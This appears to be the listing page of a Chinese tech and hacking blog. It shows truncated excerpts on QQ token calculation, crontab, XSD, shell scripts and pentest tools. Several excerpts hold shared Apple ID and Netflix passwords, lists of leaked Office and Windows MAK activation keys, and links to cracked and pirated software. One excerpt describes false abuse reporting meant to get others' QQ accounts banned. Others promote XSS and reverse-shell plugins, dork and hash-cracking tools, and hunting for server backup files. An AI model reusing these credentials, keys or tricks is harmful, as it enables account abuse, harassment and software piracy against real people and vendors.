• 易语言/PHP/JS QQ BKN/GTK计算方法

    GTK跟BKN 据我了解是一种东西 易语言版 .版本 2 .子程序 计算bkn, 文本型 .参数 Skey, 文本型 .局部变量 基值, 整数型 .局部变量 计数, 整数型 .局部变量 长度, 整数型 .局部变量 结果, 整数型 基值 = 5381 计数 = 0 长度 = 取文本长度 (Skey) .判断循环首 (计数 < 长度) 基值 = 基值 + 左移 (基值, 5) + 取代码 (Skey, 计数 + 1) 计数 = 计数 + 1 .判断循环尾 () 结果 = 位与 (基值, 2147483647) 返回 (到文本 (结果)) JS版 function getBKN(str){ var hash = 5381; for(var i = 0, len = str.length; i < len; ++i) { hash += (hash << 5) + str.charAt(i).charCodeAt(); } return hash & 0x7fffffff; } PHP版 public function bkn($skey) {     $hash = 5381;     for ($i = 0, $len = strlen($skey); $i < $len; ++$i){         $hash +=($hash << 5) + charCodeAt($skey, $i);     }     return $hash & 2147483647; } public function charCodeAt($str, $index){     $char = mb_substr($str, $index, 1, 'UTF-8');     $value = null;     if (mb_check_encoding($char, 'UTF-8')){         $ret = mb_convert_encoding($char, 'UTF-32BE', 'UTF-8');         $value = hexdec(bin2hex($ret));     }     return $value; } ...

    2022-06-14 427
  • Centos 7如何设置定时重启任务

    1,编辑文件crontab vi /etc/crontab 2,设置重启时间 分时日月年 SHELL=/bin/bash PATH=/sbin:/bin:/usr/sbin:/usr/bin MAILTO=root For details see man 4 crontabs Example of job definition: .---------------- minute (0 - 59) |  .------------- hour (0 - 23) |  |  .---------- day of month (1 - 31) |  |  |  .------- month (1 - 12) OR jan,feb,mar,apr ... |  |  |  |  .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat |  |  |  |  |         * user-name  command to be executed 30 02 * root reboot  #02:30 每天凌晨2点30分重启系统 /6 root reboot  #每隔6小时重启一次 /30 root reboot #每隔30分钟重启一次 30 02 1 root reboot #每月1日02:30 时重启服务器 0 0 /2 root reboot #每2天00点重启一次服务器 3,装载   crontab /etc/crontab 4,定时重启服务   systemctl enable crond.service #开启启动 systemctl restart crond.service #重启服务 systemctl stop crond.service #停止服务 5,查看定时配置   crontab -l 6,查看系统重启情况   who -b  #最近一次重启时间 last reboot  #重启历史     ...

    2022-06-12 391
  • XSD 简易元素

    XML Schema 可定义 XML 文件的元素。 简易元素指那些只包含文本的元素。它不会包含任何其他的元素或属性。 什么是简易元素? 简易元素指那些仅包含文本的元素。它不会包含任何其他的元素或属性。 不过,“仅包含文本”这个限定却很容易造成误解。文本有很多类型。它可以是 XML Schema 定义中包括的类型中的一种(布尔、字符串、数据等等),或者它也可以是您自行定义的定制类型。 您也可向数据类型添加限定(即 facets),以此来限制它的内容,或者您可以要求数据匹配某种特定的模式。 定义简易元素 定义简易元素的语法: <xs:element name="xxx" type="yyy"/> 此处 xxx 指元素的名称,yyy 指元素的数据类型。XML Schema 拥有很多内建的数据类型。 最常用的类型是: xs:string xs:decimal xs:integer xs:boolean xs:date xs:time 例子: 这是一些 XML 元素: <lastname>Smith</lastname> <age>28</age> <dateborn>1980-03-27</dateborn> 这是相应的简易元素定义: <xs:element name="lastname" type="xs:string"/> <xs:element name="age" type="xs:integer"/> <xs:element name="dateborn" type="xs:date"/> 简易元素的默认值和固定值 简易元素可拥有指定的默认值或固定值。 当没有其他的值被规定时,默认值就会自动分配给元素。 在下面的例子中,缺省值是 "red": <xs:element name="color" type="xs:string" default="red"/> 固定值同样会自动分配给元素,并且您无法规定另外一个值。 在下面的例子中,固定值是 "red": <xs:element name="color" type="xs:string" fixed="red"/> ...

    2022-02-14 495
  • 强制加QQ好友功能

    链接:https://ti.qq.com/friends/recall?uin=QQ号 后面改成别人的QQ 然后QQ里面打开 移动一下分组,然后关闭就有他好友了 ...

    2022-02-03 1536
  • 小栗子扫码登录教程及多Q破解版下载

    1.下载小栗子【V3.6.0】及以上版本 2.右键添加单个 选择手表QQ 输入QQ号 密码留空 点击添加 3.右键点击QQ 选择 登录选中QQ 弹出二维码 使用手机扫码并同意登录即可 登陆成功后可更改登录信息改为手Q或其他 动图演示: 手机远程用户可截图二维码,然后手机登录TimQQ进行扫码登录 小栗子3.6.0破解版下载链接:https://hongchenw.lanzoui.com/irxGCty936b ...

    2021-10-16 1245
  • 武装你的浏览器--自用的火狐插件推荐

    Easy XSS 直接嵌套在鼠标右键里,然后在盲打XSS的时候直接右键点击,ctrl+v就可以打了,只是payloads较少,不过对于SRC来说够用了 EditThisCookie2 添加或者删除cookie的插件,比如存储XSS过来的cookie这里就可以直接改了 FoxyProxy 标准版 小狐狸代理,一键切换BURP和XRAY 美滋滋 Hack-Tools 有什么回比Hack-Tools,更好用的呢,一些时候的payloads打出来作为备忘录,或者生成一些反弹shell 的命令,妈妈再也不用担心我记忆力不好了 Max HacKBar 神器,免费版,不用多说了其实还有一款叫做HackBar V2,我反正都用或者来回换着来 Shodan 有时候会出一些端口,可以帮助咱快速判断站点 User-Agent Switcher and Manager 更换UA,有些站只能谷歌访问,那么你可以尝试一下换个UA ,比如换成渗透云笔记 Wappalyzer 判断网站的cms和中间件,我怎么感觉还是老版本的惯用新版本的误报有点高啊 以上的插件都能在火狐的市场中找到哦 ...

    2021-08-18 636
  • 音量强制调到最大-IAPP源码

    java(mediaAudio, activity, "android.app.Activity.getSystemService", "String", "audio") //获取当前音量 java(current, mediaAudio, "android.media.AudioManager.getStreamVolume", "int", "3") //获取设备最大音量 java(ss.maxV, mediaAudio, "android.media.AudioManager.getStreamMaxVolume", "int", "3") java(null, mediaAudio, "android.media.AudioManager.setStreamVolume", "int", "3", "int", "100", "int", "0") 把这个放入载入事件或者单击里 如果想要循环调大可以加个w循环 t() { w(true) { stop(1000) java(mediaAudio, activity, "android.app.Activity.getSystemService", "String", "audio") //获取当前音量 java(current, mediaAudio, "android.media.AudioManager.getStreamVolume", "int", "3") //获取设备最大音量 java(ss.maxV, mediaAudio, "android.media.AudioManager.getStreamMaxVolume", "int", "3") java(null, mediaAudio, "android.media.AudioManager.setStreamVolume", "int", "3", "int", "100", "int", "0") } }...

    2021-07-22 785
  • 渗透测试小工具-sqlmate

    简介 在sqlmap基础上增加了目录扫描、hash爆破等功能 运行环境 linux 在云服务器上还是蛮不错的 项目连接如下 https://github.com/s0md3v/sqlmate usage: sqlmate [-h] [--dork DORK] [--hash HASH] [--list <path>] [--dump 1-184] [--admin URL] [--type PHP,ASP,HTML] optional arguments: -h, --help show this help message and exit --dork DORK Supply a dork and let SQLMate do its thing --hash HASH 'Crack' a hash in 5 secs --list <path> Import and crack hashes from a txt file --dump 1-184 Get dorks. Specify dumping level. Level 1 = 20 dorks --admin URL Find admin panel of website --type PHP,ASP,HTML Choose extension to scan (Use with --admin option, Default is all) ...

    2021-07-17 828
  • 扫描域名和扫描IP的区别

    一、创建一个多网站的环境,通过端口区分 1、启动phpstudy 2、通过软件管理找到想要搭建的网站 3、点击一键部署emlog6.0这个网站,记得勾选hosts,因为没有dns解析,勾选后会自动解析 # localhost name resolution is handled within DNS itself.# 127.0.0.1 localhost# ::1 localhost192.168.139.129 www.aiyouxss.com127.0.0.1 bucuo.com127.0.0.1 www.bucuo.com127.0.0.1 aiyou.com127.0.0.1 www.aiyou.com 4、再部署一个帝国cms,记得修改一下端口号,要不容易端口冲突 二、扫描域名和扫描ip的区别 扫描ip范围更广一点,一般都是网站访问目录的上一级 因为aiyou.com:66指定的根目录是C:\phpstudy_pro\WWW\aiyou.com 而ip地址指定的根目录是C:\phpstudy_pro\WWW 三、扫描ip地址的好处 一般管理员备份的时候会把备份文件放到ip地址所指向的根目录,比如下面的压缩包肯定就是bucuo.com这个网站的备份文件 禁止非法,后果自负 ...

    2021-07-16 628
  • QQ封号代码,一封就是30天

    QQ封号代码,一封就是30天官 方 认 证  老 虎 机 咆 哮  + 把上面那个复制粘贴到自己群名称!把这个设为名称,别人艾特你或者回复你的消息,直接举报色情那条消息,然后直接提交,过一会直接举报成功!最近被反封的也挺多,我只能说小心玩吧!为什么被反封呢?我最近研究了一下,好像是因为发那个口令红包才会出现反封现象,所以说最好别发口令红包!可以和我一样猥琐玩[滑稽],举报完以后就把名称改回去,防止反封,到目前为止,我也没有被封过! ...

    2021-07-11 1401
  • 老王VPN安卓端的SSL在电脑上如何使用教程

    老王VPN在电脑端的使用教程 对你有帮助就看看吧,关于老王VPN电脑端的使用教程我猜很多小伙伴都不会使用的,哈哈,因为对于新手来说不会使用也很正常,毕竟小白的我,刚接触的时候也是一脸迷茫,最后才慢慢搞懂是个什么东西,那么接下来站长就为大家详细的演示如何使用老王VPN电脑端。 正文如下: 老王VPN电脑PC端使用教程: 点击IOS/PC使用教学,在点击取得连线码,并且点击复制到剪贴板并传送到你的剪切板上,我们需要用这个像代码一串的东西。 确保你的连线码已经顺利的复制到电脑的剪贴板上,这个东西你可能不知道是什么,但是它是我们教程的核心,没有这个你就没有办法使用老王VPN电脑端的。 加入交流群获取工具 ...

    2021-06-07 1884
  • 2021年免费的苹果美国ID共享-IOS海外Apple ID账号分享

    你还在到处跪求一个海外苹果ID吗?你还为没有拥有一个免费ios国外账号而烦恼吗?本次凌哥继续为大家免费分享一组最新海外苹果ID共享账号。其中包含免费ios美国ID、ios苹果日本账号等等,旨在满足所有网友的需求。使用前切记阅读使用须知,正确规范使用AppleID共享号。 费ios国外账号 美国苹果ID:ytpesn81@icloud.com 密码:Qi112211 PS:因共享账号使用人数很多,美区外其他地区均需注册登录评论领取账号,共享账号需要长期更新维护,因此账号密码不是固定不变的,甚至很快封锁,请大家点击链接获取最新账号。 使用须知与登录操作流程 1.找到并打开桌面上的App Store; 2.点击右上角的个人账户,退出现有的邮箱; 3.复制粘贴共享ID的账号密码,点击登录; 4.跳出弹窗点击其它选项,不升级即可。加入交流交流获取更多 ...

    2021-06-07 1335
  • 自动机器人无需审核自动挂机到账抖音点赞完整源码增加抽奖

    源码简介 新UI短视频点赞任务平台。 源码简介 自动机器人无需审核自动挂机到账抖音点赞源码,带自动机器人免审核。 下载地址:https://jq.qq.com/?_wv=1027&amp;k=w5Hd1jpq 安装教程 测试环境:Nginx 1.18.0+MySQL 5.6.49+PHP-7.0 同样是在PHP-7.0里删除所有禁用函数,我这里是已经删过了所以是空的。 1.创建站点,上传源码,解压。 好了,上传完了。 2.修改数据库配置信息,/Application/Common/Conf/db.php /customlivechat/php/config/parameters.php 3.创建数据库,上传,导入。 信息记得填你自己的。 4.网站伪静态选择thinkPHP 5.支付修改,/Public/ptpaysdk/core/ptpay_config.php 在这里对应填入你的派特支付ID和秘钥,记得看清楚,别填反了。 6.现在打开前台看一下,去后台找个账号,找个短信接的是(短信已改去阿里云)。 7.后台地址:域名/index.php/Admin/Public/login.html 账号密码:admin QQ3466310003 8.引导页图片更换:根目录wait.png 对接阿里云版短信修改地址: \Application\Home\Controller\PublicController.class.php 37行和38行分别替换:427 428 AccessKey ID-AccessKey Secret-短信签名-模版CODE 图片预览 ...

    2021-06-06 863
  • WordPress模块化企业主题Zing-Pro[更新至3.4.9]

    本源码来自网络,仅提供学习研究借鉴美工之用请勿用于商业和非法用途,无任何技术支持! 商用请支持正版! 主题简介 Zing主题3.0版本改动很大, 可以说是重做了后台,所以自3.0版本之后便改名为Zing-Pro,全新的可视化设置,更多的自定义你模块,等你体验! 下载地址:https://pan.baidu.com/s/18DT-nH6wGOq7fMrDc2P-uw 获取密码:https://jq.qq.com/?_wv=1027&k=w5Hd1jpq 模块化主题 首页模块可自由开启或关闭,可自由排序 响应式设计 完美兼容PC端、手机端和平板等各类设备访问 SEO优化 SEO这块不多说了,和本站一样的优化策略,我们的排名远超很多同行 多种分类页样式 多种分类页面样式,在编辑分类的时候可以选择使用哪一个样式 页脚样式 自定义页脚版权ICP备案号和公安备案号的填写,主题版权信息可关闭 自定义配色 自定义网站配色,因此你不必担心搭配不出你想要的风格 导入演示数据 提供演示站整站数据,导入后即可得到一个和演示站一模一样的网站 无需安装插件 主题所有功能不依靠任何插件即可完美运行 对象储存 支持七牛云储存、阿里云OSS,大大的提高了网站加载速度 代码无加密 支持对主题进行二次开发,代码没有任何加密 数据库优化清理 集成wp-clean-up插件,WordPress数据库优化 外链转内链 集成Simple Urls外链转内链插件,开启即可使用 站点地图(Sitemap) 自动生成xml文件,遵循Sitemap协议,有利于网站快速收录 SMTP邮箱设置 主题集成SMTP发信功能 ,简单设置后即可实现邮箱发信功能 多种缩略图剪裁模式 文章缩略图支持:timthumb、七牛、阿里云oss、原图 禁止WP默认缩略图 可禁止WordPress生成多个尺寸的缩略图,节省服务器空间资源 禁用古腾堡编辑器 如果你还没有习惯古腾堡,可以通过这个选项恢复到经典编辑器 移除顶部多余信息 移除WordPress Head 中的多余信息,能够有效的提高网站自身安全 去除分类标志 可去除链接中的分类category标志,有利于SEO优化 移除后台隐私 彻底删除WordPress后台隐私相关设置(对国内用户无用,建议移除) Gravatar头像 镜像服务 gravatar头像服务器在国外,开启后将使用 v2ex 镜像服务 上传图片重命名 中文名的图像总会遇到一些问题,开启后可自动设置日期为图像名 禁止前台加载语言包 加载语言包需要花费 0.1-0.5 秒的时间,对性能要求极致可以开启这个 自定义添加代码 可在后台自定义添加CSS以及JS代码,可选择添加在头部或是底部 https://jq.qq.com/?_wv=1027&amp;k=w5Hd1jpq...

    2021-06-06 595
  • Office正版 mak激活密钥

    Office 2010 RTM ProPlus MAK (6枚) RG4PQ-T6TMF-GKJ6F-29K3W-CYDHQ 剩余激活台数:1230 D49R8-PRFC4-Y4B3V-H2DCW-YX6RF 剩余激活台数:1166 PPHD2-XQTJX-9HWHM-63J96-PGWCC 剩余激活台数:976 39V92-C3X9H-CQVJ9-42MVV-9DKF7 剩余激活台数:271 YWVVH-8YHWY-YFQQQ-4FM68-J34WC 剩余激活台数:258 73289-67K36-76W4R-7J2KH-3DYQG 剩余激活台数:209 Office 2010 RTM Standard MAK (8枚) BKH87-RM4TQ-JPT9R-BYCMC-TM2R7 剩余激活台数:2708 7PCQ3-8D8XV-3J7V4-W4XBG-Y33HB 剩余激活台数:1273 P8TVJ-7XKWJ-CXRF9-8M3FB-JMW76 剩余激活台数:483 7PX78-VR2MF-W3QXR-CRHP6-7VHVD 剩余激活台数:184 RGJGY-C2C9V-XYFJG-VDG6D-JT3V6 剩余激活台数:183 VTQYR-KG7CT-WC29V-X4WGV-TBMFT 剩余激活台数:99 4FG26-4RJVY-M3MMM-4K6T2-D8TR6 剩余激活台数:62 J83QX-TPWKR-Y9R6G-R7797-RCXF9 剩余激活台数:14 Office 2013 ProPlusVL MAK (1枚) HGJNT-2TMC6-W8F3P-PMC83-TCMG7 剩余激活台数:386 Office 2013 StandardVL MAK (3枚) R2T2Q-NB3RG-6XYX7-3F27M-X4QBG 剩余激活台数:2959 V43NQ-8BFHT-MRV6G-2KQM8-33TYG 剩余激活台数:159 N2F2M-DQHM7-2DYGM-Q43V7-KHGYG 剩余激活台数:46 Office 2016 ProPlusVL MAK (1枚) KC7N8-WXH8P-8M8R7-QWYKK-JXCQY 剩余激活台数:989 Office 2016 StandardVL MAK (7枚) 2BNWF-HQ3XJ-QHXQD-639QJ-XW3M2 剩余激活台数:3068 CRNDB-HTKT7-6KFGW-MB8R2-8XCRP 剩余激活台数:2022 KM43Q-N6QHG-C8FC4-2V389-M984P 剩余激活台数:295 RQY6D-4QNCJ-63TCK-VTTGV-46YWC 剩余激活台数:140 2PN2K-92QQQ-8BGWG-CKCH2-7CFJC 剩余激活台数:96 HVYJ7-XKN9F-98YBY-PPBMT-TJGFP 剩余激活台数:28 M374V-M4NDV-X44YB-KFCT3-GF4JC 剩余激活台数:16 ...

    2021-05-24 1011
  • Windows正版 mak激活密钥

    Server 2012 RTM ServerStandard Volume MAK (4枚) N37K6-MB88P-YD438-VGJ9R-R3G9Q 剩余激活台数:1706 C9N8J-RXBJQ-PVFVV-JYRQT-Y96DD 剩余激活台数:117 MD2YD-3DNMJ-FF7YH-37XRB-KD4G3 剩余激活台数:45 4NK42-M6GH9-WCRD8-R876X-YDTDD 剩余激活台数:43 Server Essentials 2012 R2 RTM ServerSolution Volume MAK (1枚) JNDG6-WBDYG-9YP4M-6BXK8-F3JJK 剩余激活台数:438 Server Essentials 2012 RTM ServerSolution Volume MAK (1枚) XXDRB-9N8D4-HHBVR-RMXHF-PPKYK 剩余激活台数:8 Win 10 RTM EducationN Volume MAK (1枚) QN79V-RDKJ8-R378G-JTF3F-7H64X 剩余激活台数:339 Win 10 RTM EnterpriseSN Volume MAK (4枚) RQNR8-3P36J-74BH7-DR2GJ-6MV2F 剩余激活台数:976 RVJVP-8TNBX-H2T93-TFVM3-9D8WR 剩余激活台数:485 NQHWT-CXQXK-BG9DF-P3MHJ-82RCF 剩余激活台数:52 QYXMQ-MCN7Q-3GVJ4-YJC23-YBH2X 剩余激活台数:20 Win 10 RTM EnterpriseS Volume MAK (1枚) RXN7B-G2T3Q-W8HFT-24JGT-D3YJP 剩余激活台数:473 Win 10 RTM Enterprise Volume MAK (1枚) VNY28-Q772R-JPXVV-GVMGP-W2QF4 剩余激活台数:425 Win 10 RTM ProfessionalN Volume MAK (1枚) HRY3G-NXWKM-FH7YY-BDWPR-KBT7B 剩余激活台数:7 Win 10 RTM ProfessionalWorkstationN Volume MAK (4枚) QNX6C-DKJMX-XDYCM-PX36T-H8TFT 剩余激活台数:290 WN62W-W62DT-9K762-JCD8F-W8HB6 剩余激活台数:238 4FPCQ-NB9XF-6QR66-VF8HD-C384T 剩余激活台数:79 MF3K4-H6NGG-9QHHB-YD9R6-GMV8G 剩余激活台数:32 Win 10 RTM ProfessionalWorkstation Volume MAK (3枚) NCHRH-2T63T-G7RXK-CDTH8-RX9YX 剩余激活台数:347 VK6NF-PFH2Y-RHJQP-VRYYW-DGQMX 剩余激活台数:35 Y2M3X-JPN7M-XDQ2R-DK989-3RVBX 剩余激活台数:27 Win 7 All Volume Editions Volume MAK (3枚) 4FXFP-6QJ7V-MBQB2-YFVYW-HRR9B 剩余激活台数:477 J24B6-MQPT3-XQW6V-63THC-7D6XV 剩余激活台数:439 MHFWF-DJVB7-GXRDD-VPM73-K3YVJ 剩余激活台数:43 Win 8.1 RTM Professional ProfessionalN Enterprise EnterpriseN Volume MAK (1枚) K9T2Q-VNJD7-BQ76H-3Q7JK-V2YDQ 剩余激活台数:20 ...

    2021-05-24 1043
  • Netflix奈非/网飞 2021-5月最新奈非Netflix共享账号

    Netflix(Nasdaq NFLX) 成立于1997年,是一家在线影片租赁提供商,主要提供Netflix超大数量的DVD并免费递送,总部位于美国加利福尼亚州洛斯盖图。 Netflix已经连续五次被评为顾客最满意的网站。 可以通过PC、TV及iPad、iPhone收看电影、电视节目,可通过Wii,Xbox360,PS3等设备连接TV。 Netflix大奖赛从2006年10月份开始,Netflix公开了大约1亿个1-5的匿名影片评级,数据集仅包含了影片名称。 评价星级和评级日期,没有任何文本评价的内容。比赛要求参赛者预测Netflix的客户分别喜欢什么影片,要把预测的效率提高10%以上。 2017年6月6日,《2017年BrandZ最具价值全球品牌100强》公布,Netflix名列第92位。 2017年11月30日,美国流媒体巨头、世界最大的收费视频网站网飞(Netflix)买下《白夜追凶》播放权,这是该公司首次买下中国内地网络电视剧版权,计划在全球190多个国家和地区上线。 2018年10月,《财富》未来公司50强排行榜发布,Netflix排名第八。 2018年12月,世界品牌实验室编制的《2018世界品牌500强》揭晓,排名第88。 2019年10月,位列2019福布斯全球数字经济100强榜第46名。 2019年10月,Interbrand发布的全球品牌百强榜排名65。 2020年1月22日,名列2020年《财富》全球最受赞赏公司榜单第16位。 有想看的又没有账号的现在可以去看看了,需要自己准备好科学上网! 账号更新时间:2021年5月16日 账号信息禁止转载,共享账号请勿修改密码! 登陆后不要退出就可以一直使用直到失效。 账号:marvao588@gmail2021.com 密码:zzzzzz.me 用户Pin码:无 加入交流群获取更多 ...

    2021-05-16 850
  • 23 个非常实用的 Shell 拿来就用脚本实例

    为大家整理了23个实例,通过23个实战经典脚本实例,展示了shell脚本编程的实用技术和常见工具用法。大家只需根据自己的需求,将文中这些常见任务和可移植自动化脚本推广应用到其他类似问题上,能解决那些三天两头碰上的麻烦事。 检测两台服务器指定目录下的文件一致性 #!/bin/bash ##################################### #检测两台服务器指定目录下的文件一致性 ##################################### #通过对比两台服务器上文件的md5值,达到检测一致性的目的 dir=/data/web b_ip=192.168.88.10 #将指定目录下的文件全部遍历出来并作为md5sum命令的参数,进而得到所有文件的md5值,并写入到指定文件中 find $dir -type f|xargs md5sum > /tmp/md5_a.txt ssh $b_ip "find $dir -type f|xargs md5sum > /tmp/md5_b.txt" scp $b_ip:/tmp/md5_b.txt /tmp #将文件名作为遍历对象进行一一比对 for f in `awk '{print 2} /tmp/md5_a.txt'` do #以a机器为标准,当b机器不存在遍历对象中的文件时直接输出不存在的结果 if grep -qw "$f" /tmp/md5_b.txt then md5_a=`grep -w "$f" /tmp/md5_a.txt|awk '{print 1}'` md5_b=`grep -w "$f" /tmp/md5_b.txt|awk '{print 1}'` #当文件存在时,如果md5值不一致则输出文件改变的结果 if [ $md5_a != $md5_b ] then echo "$f changed." fi else echo "$f deleted." fi done 定时清空文件内容,定时记录文件大小 #!/bin/bash ################################################################ #每小时执行一次脚本(任务计划),当时间为0点或12点时,将目标目录下的所有文件内 #容清空,但不删除文件,其他时间则只统计各个文件的大小,一个文件一行,输出到以时#间和日期命名的文件中,需要考虑目标目录下二级、三级等子目录的文件 ################################################################ logfile=/tmp/`date +%H-%F`.log n=`date +%H` if [ $n -eq 00 ] || [ $n -eq 12 ] then #通过for循环,以find命令作为遍历条件,将目标目录下的所有文件进行遍历并做相应操作 for i in `find /data/log/ -type f` do true > $i done else for i in `find /data/log/ -type f` do du -sh $i >> $logfile done fi 检测网卡流量,并按规定格式记录在日志中 #!/bin/bash ####################################################### #检测网卡流量,并按规定格式记录在日志中 #规定一分钟记录一次 #日志格式如下所示: #2019-08-12 20:40 #ens33 input: 1234bps #ens33 output: 1235bps ######################################################3 while : do #设置语言为英文,保障输出结果是英文,否则会出现bug LANG=en logfile=/tmp/`date +%d`.log #将下面执行的命令结果输出重定向到logfile日志中 exec >> $logfile date +"%F %H:%M" #sar命令统计的流量单位为kb/s,日志格式为bps,因此要*1000*8 sar -n DEV 1 59|grep Average|grep ens33|awk '{print $2,"\t","input:","\t",$5*1000*8,"bps","\n",$2,"\t","output:","\t",$6*1000*8,"bps"}' echo "####################" #因为执行sar命令需要59秒,因此不需要sleep done 计算文档每行出现的数字个数,并计算整个文档的数字总数 #!/bin/bash ######################################################### #计算文档每行出现的数字个数,并计算整个文档的数字总数 ######################################################## #使用awk只输出文档行数(截取第一段) n=`wc -l a.txt|awk '{print $1}'` sum=0 #文档中每一行可能存在空格,因此不能直接用文档内容进行遍历 for i in `seq 1 $n` do #输出的行用变量表示时,需要用双引号 line=`sed -n "$i"p a.txt` #wc -L选项,统计最长行的长度 n_n=`echo $line|sed s'/[^0-9]//'g|wc -L` echo $n_n sum=$[$sum+$n_n] done echo "sum:$sum" 杀死所有脚本 #!/bin/bash ################################################################ #有一些脚本加入到了cron之中,存在脚本尚未运行完毕又有新任务需要执行的情况, #导致系统负载升高,因此可通过编写脚本,筛选出影响负载的进程一次性全部杀死。 ################################################################ ps aux|grep 指定进程名|grep -v grep|awk '{print $2}'|xargs kill -9 从FTP服务器下载文件 #!/bin/bash if [ $# -ne 1 ]; then     echo "Usage: $0 filename" fi dir=$(dirname $1) file=$(basename $1) ftp -n -v << EOF   # -n 自动登录 open 192.168.1.10  # ftp服务器 user admin password binary   # 设置ftp传输模式为二进制,避免MD5值不同或.tar.gz压缩包格式错误 cd $dir get "$file" EOF 连续输入5个100以内的数字,统计和、最小和最大 #!/bin/bash COUNT=1 SUM=0 MIN=0 MAX=100 while [ $COUNT -le 5 ]; do     read -p "请输入1-10个整数:" INT     if [[ ! $INT =~ ^[0-9]+$ ]]; then         echo "输入必须是整数!"         exit 1     elif [[ $INT -gt 100 ]]; then         echo "输入必须是100以内!"         exit 1     fi     SUM=$(($SUM+$INT))     [ $MIN -lt $INT ] && MIN=$INT     [ $MAX -gt $INT ] && MAX=$INT     let COUNT++ done echo "SUM: $SUM" echo "MIN: $MIN" echo "MAX: $MAX" 用户猜数字 #!/bin/bash  # 脚本生成一个 100 以内的随机数,提示用户猜数字,根据用户的输入,提示用户猜对了,# 猜小了或猜大了,直至用户猜对脚本结束。# RANDOM 为系统自带的系统变量,值为 0‐32767的随机数# 使用取余算法将随机数变为 1‐100 的随机数num=$[RANDOM%100+1]echo "$num" # 使用 read 提示用户猜数字# 使用 if 判断用户猜数字的大小关系:‐eq(等于),‐ne(不等于),‐gt(大于),‐ge(大于等于),# ‐lt(小于),‐le(小于等于)while :do     read -p "计算机生成了一个 1‐100 的随机数,你猜: " cai    if [ $cai -eq $num ]    then        echo "恭喜,猜对了"           exit        elif [ $cai -gt $num ]        then            echo "Oops,猜大了"         else            echo "Oops,猜小了"     fidone 监测Nginx访问日志502情况,并做相应动作 假设服务器环境为lnmp,近期访问经常出现502现象,且502错误在重启php-fpm服务后消失,因此需要编写监控脚本,一旦出现502,则自动重启php-fpm服务。 #场景: #1.访问日志文件的路径:/data/log/access.log #2.脚本死循环,每10秒检测一次,10秒的日志条数为300条,出现502的比例不低于10%(30条)则需要重启php-fpm服务 #3.重启命令为:/etc/init.d/php-fpm restart #!/bin/bash ########################################################### #监测Nginx访问日志502情况,并做相应动作 ########################################################### log=/data/log/access.log N=30 #设定阈值 while : do  #查看访问日志的最新300条,并统计502的次数     err=`tail -n 300 $log |grep -c '502" '`  if [ $err -ge $N ]  then  /etc/init.d/php-fpm restart 2> /dev/null  #设定60s延迟防止脚本bug导致无限重启php-fpm服务      sleep 60  fi  sleep 10 done 将结果分别赋值给变量 应用场景:希望将执行结果或者位置参数赋值给变量,以便后续使用。 方法1: for i in $(echo "4 5 6"); do    eval a$i=$i done echo $a4 $a5 $a6 方法2:将位置参数192.168.1.1{1,2}拆分为到每个变量 num=0 for i in $(eval echo $*);do   #eval将{1,2}分解为1 2    let num+=1    eval node${num}="$i" done echo $node1 $node2 $node3 # bash a.sh 192.168.1.1{1,2} 192.168.1.11 192.168.1.12 方法3: arr=(4 5 6) INDEX1=$(echo ${arr[0]}) INDEX2=$(echo ${arr[1]}) INDEX3=$(echo ${arr[2]}) 批量修改文件名 示例: # touch article_{1..3}.html # ls article_1.html  article_2.html  article_3.html 目的:把article改为bbs 方法1: for file in $(ls *html); do     mv $file bbs_${file#*_}     # mv $file $(echo $file |sed -r 's/.*(_.*)/bbs\1/')     # mv $file $(echo $file |echo bbs_$(cut -d_ -f2) done 方法2: for file in $(find . -maxdepth 1 -name "*html"); do      mv $file bbs_${file#*_} done 方法3: # rename article bbs *.html 把一个文档前五行中包含字母的行删掉,同时删除6到10行包含的所有字母 1)准备测试文件,文件名为2.txt 第1行1234567不包含字母 第2行56789BBBBBB 第3行67890CCCCCCCC 第4行78asdfDDDDDDDDD 第5行123456EEEEEEEE 第6行1234567ASDF 第7行56789ASDF 第8行67890ASDF 第9行78asdfADSF 第10行123456AAAA 第11行67890ASDF 第12行78asdfADSF 第13行123456AAAA 2)脚本如下: #!/bin/bash ############################################################## #把一个文档前五行中包含字母的行删掉,同时删除6到10行包含的所有字母 ############################################################## sed -n '1,5'p 2.txt |sed '/[a-zA-Z]/'d sed -n '6,10'p 2.txt |sed s'/[a-zA-Z]//'g sed -n '11,$'p 2.txt #最终结果只是在屏幕上打印结果,如果想直接更改文件,可将输出结果写入临时文件中,再替换2.txt或者使用-i选项 统计当前目录中以.html结尾的文件总大 方法1: # find . -name "*.html" -exec du -k {} \; |awk '{sum+=$1}END{print sum}' 方法2: for size in $(ls -l *.html |awk '{print $5}'); do     sum=$(($sum+$size)) done echo $sum 扫描主机端口状态 #!/bin/bash HOST=$1 PORT="22 25 80 8080" for PORT in $PORT; do     if echo &>/dev/null > /dev/tcp/$HOST/$PORT; then         echo "$PORT open"     else         echo "$PORT close"     fi done 用shell打印示例语句中字母数小于6的单词 #示例语句: #Bash also interprets a number of multi-character options. #!/bin/bash ############################################################## #shell打印示例语句中字母数小于6的单词 ############################################################## for s in Bash also interprets a number of multi-character options. do  n=`echo $s|wc -c`  if [ $n -lt 6 ]  then  echo $s  fi done 输入数字运行相应命令 #!/bin/bash ############################################################## #输入数字运行相应命令 ############################################################## echo "*cmd menu* 1-date 2-ls 3-who 4-pwd 0-exit " while : do #捕获用户键入值  read -p "please input number :" n  n1=`echo $n|sed s'/[0-9]//'g` #空输入检测   if [ -z "$n" ]  then  continue  fi #非数字输入检测   if [ -n "$n1" ]  then  exit 0  fi  break done case $n in  1)  date  ;;  2)  ls  ;;  3)  who  ;;  4)  pwd  ;;  0)  break  ;;     #输入数字非1-4的提示  *)  echo "please input number is [1-4]" esac Expect实现SSH免交互执行命令 Expect是一个自动交互式应用程序的工具,如telnet,ftp,passwd等。 需先安装expect软件包。 方法1:EOF标准输出作为expect标准输入 #!/bin/bash USER=root PASS=123.com IP=192.168.1.120 expect << EOF set timeout 30 spawn ssh $USER@$IP    expect {     "(yes/no)" {send "yes\r"; exp_continue}     "password:" {send "$PASS\r"} } expect "$USER@*"  {send "$1\r"} expect "$USER@*"  {send "exit\r"} expect eof EOF 方法2: #!/bin/bash USER=root PASS=123.com IP=192.168.1.120 expect -c "     spawn ssh $USER@$IP     expect {         \"(yes/no)\" {send \"yes\r\"; exp_continue}         \"password:\" {send \"$PASS\r\"; exp_continue}         \"$USER@*\" {send \"df -h\r exit\r\"; exp_continue}     }" 方法3:将expect脚本独立出来 登录脚本: # cat login.exp #!/usr/bin/expect set ip [lindex $argv 0] set user [lindex $argv 1] set passwd [lindex $argv 2] set cmd [lindex $argv 3] if { $argc != 4 } { puts 